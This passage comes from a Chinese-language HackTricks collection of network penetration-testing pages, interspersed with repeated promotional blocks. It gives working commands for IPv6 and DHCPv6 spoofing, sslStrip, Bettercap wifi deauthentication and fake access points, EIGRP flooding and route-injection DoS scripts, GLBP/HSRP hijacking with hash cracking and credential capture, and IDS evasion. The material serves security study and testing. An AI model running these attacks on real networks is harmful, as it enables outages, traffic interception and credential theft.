10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```

### [欺骗 LLMNR、NBT-NS 和 mDNS](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks)

在 DNS 查询失败时，Microsoft 系统依赖于**链路本地多播名称解析 (LLMNR)** 和**NetBIOS 名称服务 (NBT-NS)** 来进行本地主机解析。同样，**Apple Bonjour** 和**Linux 零配置** 实现利用**多播 DNS (mDNS)** 来发现网络中的系统。由于这些协议的非身份验证性质以及它们通过 UDP 广播消息进行操作，攻击者可以利用它们将用户重定向到恶意服务。

您可以使用 Responder 模拟被主机搜索的服务，发送虚假响应。\
阅读更多关于[如何使用 Responder 模拟服务](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks)的信息。

### [欺骗 WPAD](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks)

浏览器通常使用**Web 代理自动发现 (WPAD) 协议来自动获取代理设置**。这涉及从服务器获取配置详细信息，具体来说是通过 URL，如 "<http://wpad.example.org/wpad.dat"。客户端发现此服务器可以通过各种机制实现：>

* 通过 **DHCP**，其中通过使用特殊代码 252 条目来促进发现。
* 通过 **DNS**，这涉及在本地域中搜索标记为 *wpad* 的主机名。
* 通过 **Microsoft LLMNR 和 NBT-NS**，这是在 DNS 查询不成功的情况下使用的后备机制。

工具 Responder 利用此协议充当**恶意 WPAD 服务器**。它使用 DHCP、DNS、LLMNR 和 NBT-NS 来误导客户端连接到它。要深入了解如何使用 Responder 模拟服务，请查看[此处](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks)。

### [欺骗 SSDP 和 UPnP 设备](/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices)

您可以在网络中提供不同的服务，试图**欺骗用户**输入一些**明文凭据**。有关此攻击的**更多信息**请参阅[**欺骗 SSDP 和 UPnP 设备**](/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices)**。**

### IPv6 邻居欺骗

这种攻击与 ARP 欺骗非常相似，但是在 IPv6 世界中。您可以让受害者认为网关的 IPv6 具有攻击者的 MAC 地址。

```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```

### IPv6路由器通告欺骗/洪泛

一些操作系统默认配置为从网络中发送的RA数据包中获取网关。要将攻击者声明为IPv6路由器，您可以使用：

```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```

### IPv6 DHCP欺骗

默认情况下，一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后，攻击者可以发送一个DHCPv6数据包来将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。

```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6
```

### HTTP（伪造页面和JS代码注入）

## 互联网攻击

### sslStrip

基本上，这种攻击的作用是，如果**用户**试图**访问**一个**重定向到\*\*\*\*HTTPS**版本的**HTTP**页面。**sslStrip**将会与**客户端保持**一个**HTTP连接**，与**服务器保持**一个**HTTPS连接**，这样它就能够以**明文**方式**嗅探**连接。

```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```

更多信息[在这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。

### sslStrip+和dns2proxy用于绕过HSTS

**sslStrip+和dns2proxy**与**sslStrip**的**区别**在于，它们会将例如\_**[www.facebook.com\*\*\\](http://www.facebook.com**\\)\_ **重定向到**\_**&#x77;www\.facebook.co&#x6D;**\_（注意**额外的\*\*“**w**”），并将该域的**地址设置为攻击者IP**。这样，**客户端**将连接到\_**wwww\.facebook.com**\_（攻击者），但在幕后**sslstrip+将通过https与www\.facebook.com** **保持**真实连接。

这种技术的**目标**是**避开HSTS**，因为\_**wwww**.facebook.com\_ **不会**保存在浏览器的缓存中，因此浏览器将被欺骗在HTTP中执行**facebook身份验证**。\
请注意，为了执行此攻击，受害者必须尝试最初访问<http://www.faceook.com>而不是https。这可以通过修改http页面中的链接来完成。

更多信息[在这里](https://www.bettercap.org/legacy/#hsts-bypass)，[在这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014)和[在这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。

**sslStrip或sslStrip+不再起作用。这是因为浏览器中预先保存了HSTS规则，因此即使用户第一次访问“重要”域，也会通过HTTPS访问。此外，请注意，预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **因此，之前的** ***wwww\.facebook.com*** **示例将不再起作用，因为** ***facebook.com*** **使用带有`includeSubdomains`的HSTS。**

TODO: easy-creds, evilgrade, metasploit, factory

## 在端口上进行TCP监听

```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```

## 在端口上进行 TCP + SSL 监听

#### 生成密钥和自签名证书

```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```

#### 使用证书进行监听

```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```

#### 使用证书监听并重定向到主机

```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
```

有时，如果客户端检查CA是否有效，您可以**提供由CA签名的其他主机名的证书**。\
另一个有趣的测试是提供请求主机名但自签名的证书。

其他要测试的内容包括尝试使用非有效CA签署证书的有效证书。或者使用有效的公钥，强制使用诸如Diffie Hellman之类的算法（不需要使用真实私钥解密任何内容），当客户端请求真实私钥的探测（如哈希）时，发送一个虚假的探测，并期望客户端不会检查这一点。

## Bettercap

```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```

### 主动发现笔记

请注意，当向一个没有请求端口的设备发送UDP数据包时，会发送一个ICMP（端口不可达）。

### **ARP 发现**

ARP数据包用于发现网络内正在使用的IP地址。计算机必须为每个可能的IP地址发送一个请求，只有正在使用的IP地址才会响应。

### **mDNS（多播DNS）**

Bettercap发送一个MDNS请求（每X毫秒一次），请求 **\_services\_.dns-sd.\_udp.local**，通常会回应此请求的机器。然后，它只搜索回应“services”的机器。

**工具**

* Avahi-browser（--all）
* Bettercap（net.probe.mdns）
* Responder

### **NBNS（NetBios名称服务器）**

Bettercap向端口137/UDP广播数据包，请求名称为“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。

### **SSDP（简单服务发现协议）**

Bettercap广播SSDP数据包，搜索各种服务（UDP端口1900）。

### **WSD（Web服务发现）**

Bettercap广播WSD数据包，搜索服务（UDP端口3702）。

## 参考资料

* <https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9>
* **网络安全评估：了解您的网络（第3版）**
* **实用物联网黑客攻击指南：Fotios Chantzis，Ioannis Stais，Paulino Calderon，Evangelos Deirmentzoglou，Beau Wood著**
* <https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9>

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**漏洞赏金提示**：**注册**Intigriti，一个由黑客创建的高级**漏洞赏金平台**！立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>


# DHCPv6

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

#### DHCPv6与DHCPv4消息类型比较

下表展示了DHCPv6和DHCPv4消息类型的比较：

| DHCPv6消息类型                         | DHCPv4消息类型        |
| ---------------------------------- | ----------------- |
| Solicit (1)                        | DHCPDISCOVER      |
| Advertise (2)                      | DHCPOFFER         |
| Request (3), Renew (5), Rebind (6) | DHCPREQUEST       |
| Reply (7)                          | DHCPACK / DHCPNAK |
| Release (8)                        | DHCPRELEASE       |
| Information-Request (11)           | DHCPINFORM        |
| Decline (9)                        | DHCPDECLINE       |
| Confirm (4)                        | 无                 |
| Reconfigure (10)                   | DHCPFORCERENEW    |
| Relay-Forw (12), Relay-Reply (13)  | 无                 |

**DHCPv6消息类型详细解释：**

1. **Solicit (1)**: DHCPv6客户端发起以查找可用服务器。
2. **Advertise (2)**: 服务器响应Solicit发送Advertise，指示提供DHCP服务。
3. **Request (3)**: 客户端使用此消息从特定服务器请求IP地址或前缀。
4. **Confirm (4)**: 客户端用于验证分配的地址在网络上是否仍然有效，通常在网络更改后使用。
5. **Renew (5)**: 客户端向原始服务器发送此消息以延长地址生命周期或更新配置。
6. **Rebind (6)**: 发送到任何服务器以延长地址生命周期或更新配置，特别是在未收到Renew的响应时。
7. **Reply (7)**: 服务器使用此消息提供地址、配置参数，或确认Release或Decline等消息。
8. **Release (8)**: 客户端通知服务器停止使用一个或多个分配的地址。
9. **Decline (9)**: 客户端发送此消息报告分配的地址在网络上存在冲突。
10. **Reconfigure (10)**: 服务器提示客户端启动新的或更新配置的事务。
11. **Information-Request (11)**: 客户端请求配置参数而不分配IP地址。
12. **Relay-Forw (12)**: 中继代理将消息转发到服务器。
13. **Relay-Repl (13)**: 服务器回复中继代理，然后将消息传递给客户端。

### 参考资料

* <https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# EIGRP Attacks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上\*\*关注我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

**这是** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **中公开的攻击摘要。请查看以获取更多信息。**

## **伪造 EIGRP 邻居攻击**

* **目标**：通过向路由器发送大量 EIGRP hello 数据包来使路由器 CPU 过载，可能导致拒绝服务（DoS）攻击。
* **工具**：**helloflooding.py** 脚本。
* **执行**：

```bash
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
```

* **参数**：
  * `--interface`：指定网络接口，例如 `eth0`。
  * `--as`：定义 EIGRP 自治系统号，例如 `1`。
  * `--subnet`：设置子网位置，例如 `10.10.100.0/24`。

## **EIGRP 黑洞攻击**

* **目标**：通过注入虚假路由来破坏网络流量流向，导致流量被定向到不存在的目的地的黑洞。
* **工具**：**routeinject.py** 脚本。
* **执行**：

```bash
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
```

* **参数**：
  * `--interface`：指定攻击者系统的接口。
  * `--as`：定义 EIGRP AS 号。
  * `--src`：设置攻击者的 IP 地址。
  * `--dst`：设置目标子网 IP。
  * `--prefix`：定义目标子网 IP 的掩码。

## **滥用 K-Values 攻击**

* **目标**：通过注入修改后的 K-Values，在 EIGRP 域内创建持续的中断和重新连接，有效地导致 DoS 攻击。
* **工具**：**relationshipnightmare.py** 脚本。
* **执行**：

```bash
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
```

* **参数**：
  * `--interface`：指定网络接口。
  * `--as`：定义 EIGRP AS 号。
  * `--src`：设置合法路由器的 IP 地址。

## **路由表溢出攻击**

* **目标**：通过向路由表中注入大量虚假路由来使路由器的 CPU 和 RAM 负载过重。
* **工具**：**routingtableoverflow\.py** 脚本。
* **执行**：

```bash
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
```

* **参数**：
  * `--interface`：指定网络接口。
  * `--as`：定义 EIGRP AS 号。
  * `--src`：设置攻击者的 IP 地址。


# GLBP & HSRP Attacks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## FHRP 劫持概述

### FHRP 概览

FHRP 旨在通过将多个路由器合并为单个虚拟单元来提供网络鲁棒性，从而增强负载分配和容错能力。思科系统推出了该套件中的重要协议，如 GLBP 和 HSRP。

### GLBP 协议概述

思科的创造，GLBP，在 TCP/IP 协议栈上运行，利用 UDP 端口 3222 进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器在 10 秒内未发送这些数据包，则被视为离线。但这些计时器并非固定，可以进行修改。

### GLBP 运行和负载分配

GLBP 通过使用单个虚拟 IP 和多个虚拟 MAC 地址实现跨路由器的负载分配。在 GLBP 组中，每个路由器都参与数据包转发。与 HSRP/VRRP 不同，GLBP 通过几种机制提供真正的负载平衡：

* **主机相关负载平衡：** 为主机分配一致的 AVF MAC 地址，对于稳定的 NAT 配置至关重要。
* **轮询负载平衡：** 默认方法，在请求主机之间交替分配 AVF MAC 地址。
* **加权轮询负载平衡：** 根据预定义的“权重”指标分配负载。

### GLBP 中的关键组件和术语

* **AVG（活动虚拟网关）：** 负责为对等路由器分配 MAC 地址的主要路由器。
* **AVF（活动虚拟转发器）：** 指定用于管理网络流量的路由器。
* **GLBP 优先级：** 决定 AVG 的度量标准，从默认值 100 开始，范围在 1 到 255 之间。
* **GLBP 权重：** 反映路由器上的当前负载，可以手动调整或通过对象跟踪进行调整。
* **GLBP 虚拟 IP 地址：** 为所有连接设备提供网络的默认网关。

在交互方面，GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222。路由器每隔 3 秒传输“hello”数据包，如果在 10 秒内错过一个数据包，则被视为非操作。

### GLBP 攻击机制

攻击者可以通过发送优先级值最高（255）的 GLBP 数据包成为主要路由器。这可能导致 DoS 或 MITM 攻击，允许拦截或重定向流量。

### 使用 Loki 执行 GLBP 攻击

[Loki](https://github.com/raizo62/loki_on_kali) 可以通过注入优先级和权重设置为 255 的数据包执行 GLBP 攻击。攻击前的步骤包括使用诸如 Wireshark 等工具收集虚拟 IP 地址、认证存在和路由器优先级值等信息。

攻击步骤：

1. 切换到混杂模式并启用 IP 转发。
2. 确定目标路由器并检索其 IP。
3. 生成一个恶意的 Gratuitous ARP。
4. 注入一个恶意的 GLBP 数据包，冒充 AVG。
5. 为攻击者的网络接口分配一个次要 IP 地址，镜像 GLBP 虚拟 IP。
6. 实施 SNAT 以实现完整的流量可见性。
7. 调整路由以确保通过原始 AVG 路由器继续访问互联网。

通过遵循这些步骤，攻击者将自己定位为“中间人”，能够拦截和分析网络流量，包括未加密或敏感数据。

以下是演示所需的命令片段：

```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```

### 使用net-creds.py或类似工具来捕获和分析流经受损网络的数据，可以监视和拦截流量。

### HSRP劫持的被动解释及命令详细信息

#### HSRP（热备份路由器/冗余协议）概述

HSRP是思科专有协议，旨在实现网络网关冗余。它允许将多个物理路由器配置为单个逻辑单元，共享一个IP地址。这个逻辑单元由主路由器管理，负责流量导向。与使用优先级和权重进行负载平衡的GLBP不同，HSRP依赖于单个活动路由器进行流量管理。

#### HSRP中的角色和术语

* **HSRP活动路由器**：充当网关的设备，管理流量流向。
* **HSRP备用路由器**：备用路由器，准备在活动路由器故障时接管。
* **HSRP组**：一组路由器合作形成一个单一的弹性虚拟路由器。
* **HSRP MAC地址**：分配给HSRP设置中逻辑路由器的虚拟MAC地址。
* **HSRP虚拟IP地址**：HSRP组的虚拟IP地址，充当连接设备的默认网关。

#### HSRP版本

HSRP有两个版本，HSRPv1和HSRPv2，主要区别在于组容量、多播IP使用和虚拟MAC地址结构。该协议利用特定的多播IP地址进行服务信息交换，每3秒发送一次Hello数据包。如果在10秒内未收到数据包，则假定路由器处于非活动状态。

#### HSRP攻击机制

HSRP攻击涉及通过注入最大优先级值强制接管活动路由器的角色。这可能导致中间人攻击。攻击前的基本步骤包括收集有关HSRP设置的数据，可以使用Wireshark进行流量分析。

#### 绕过HSRP身份验证的步骤

1. 将包含HSRP数据的网络流量保存为.pcap文件。

```shell
tcpdump -w hsrp_traffic.pcap
```

2. 使用hsrp2john.py从.pcap文件中提取MD5哈希。

```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```

3. 使用John the Ripper破解MD5哈希。

```shell
john --wordlist=mywordlist.txt hsrp_hashes
```

**使用Loki执行HSRP注入**

1. 启动Loki以识别HSRP广告。
2. 将网络接口设置为混杂模式并启用IP转发。

```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```

3. 使用Loki瞄准特定路由器，输入破解的HSRP密码，并执行必要的配置以冒充活动路由器。
4. 获得活动路由器角色后，配置您的网络接口和IP表以拦截合法流量。

```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

5. 修改路由表以通过以前的活动路由器路由流量。

```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```

6. 使用net-creds.py或类似实用程序从拦截的流量中捕获凭据。

```shell
sudo python2 net-creds.py -i eth0
```

执行这些步骤将使攻击者能够拦截和操纵流量，类似于GLBP劫持的过程。这突显了像HSRP这样的冗余协议的漏洞以及对强大安全措施的需求。


# IDS and IPS Evasion

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **TTL操纵**

发送一些具有足够TTL以到达IDS/IPS但不足以到达最终系统的数据包。然后，发送另一个具有与其他数据包相同序列的数据包，以便IPS/IDS会认为它们是重复的并不会检查它们，但实际上它们携带了恶意内容。

**Nmap选项：** `--ttlvalue <value>`

## 避免签名

只需向数据包添加垃圾数据，以避免IPS/IDS签名。

**Nmap选项：** `--data-length 25`

## **分段数据包**

只需分段数据包并发送它们。如果IDS/IPS无法重新组装它们，它们将到达最终主机。

**Nmap选项：** `-f`

## **无效** ***校验和***

传感器通常不会计算校验和以提高性能。因此，攻击者可以发送一个数据包，该数据包将被传感器解释但被最终主机拒绝。示例：

发送一个带有RST标志和无效校验和的数据包，因此，IPS/IDS可能会认为此数据包将关闭连接，但最终主机将丢弃该数据包，因为校验和无效。

## **不常见的IP和TCP选项**

传感器可能会忽略在IP和TCP头中设置的某些标志和选项的数据包，而目标主机在接收后接受该数据包。

## **重叠**

当您分段数据包时，可能存在某种重叠（也许数据包2的前8个字节与数据包1的最后8个字节重叠，数据包2的最后8个字节与数据包3的前8个字节重叠）。然后，如果IDS/IPS以与最终主机不同的方式重新组装它们，将解释为不同的数据包。\
或者，也许，两个具有相同偏移量的数据包到达，主机必须决定采用哪一个。

* **BSD**：它偏好具有较小**偏移量**的数据包。对于具有相同偏移量的数据包，它将选择第一个数据包。
* **Linux**：与BSD类似，但它更喜欢具有相同偏移量的最后一个数据包。
* **First**（Windows）：来的第一个值，就是留下的值。
* **Last**（思科）：来的最后一个值，就是留下的值。

## 工具

* <https://github.com/vecna/sniffjoke>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Lateral VLAN Segmentation Bypass

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在 HackTricks 中做广告**吗？ 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>

如果可以直接访问交换机，则可以绕过 VLAN 分段。这涉及重新配置连接的端口为干道模式，为目标 VLAN 建立虚拟接口，并根据情况设置 IP 地址，可以是动态（DHCP）或静态（**有关详细信息，请查看** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)**）**。

首先，需要识别特定连接端口。通常可以通过 CDP 消息或通过**包含**掩码搜索端口来实现。

**如果 CDP 不可用，可以尝试通过搜索 MAC 地址来进行端口识别**：

```
SW1(config)# show mac address-table | include 0050.0000.0500
```

